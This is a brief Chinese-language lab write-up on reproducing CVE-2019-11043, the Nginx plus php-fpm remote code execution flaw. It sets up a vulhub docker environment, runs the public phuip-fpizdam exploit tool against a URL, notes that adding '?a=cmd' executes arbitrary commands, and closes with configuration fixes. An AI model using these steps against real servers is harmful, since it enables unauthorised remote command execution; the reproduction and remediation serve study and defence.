0x00 前言
2019年9月26日,PHP官方发布了Ngnix+php-fpm在错误配置下造成的远程代码执行漏洞(CVE-2019-11043),2019年10月22日,漏洞poc被公开: https://github.com/neex/phuip-fpizdam
0x01 漏洞复现
漏洞原因
在Ngnix+php-fpm环境下,如果Ngnix有如下配置,将会产生漏洞
1 | location ~ [^/]\.php(/|$) { |
环境搭建
使用docker搭建漏洞,vubhub已有漏洞环境https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
docker-compose.yml
1 | version: '2' |
ngnix配置文件 default.conf
1 | server { |
然后docker-compose up -d
启动漏洞环境
安装 phuip-fpizdam
1 | go get github.com/neex/phuip-fpizdam |
然后使用phuip-fpizdam进行利用./phuip-fpizdam url
,成功如下。
然后加参数?a=cmd
即可执行任意命令。
0x02 修复建议
在业务不需要的情况下删除配置
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
ngnix配置文件存在检查
try_files $uri =404
或者if (-f $uri)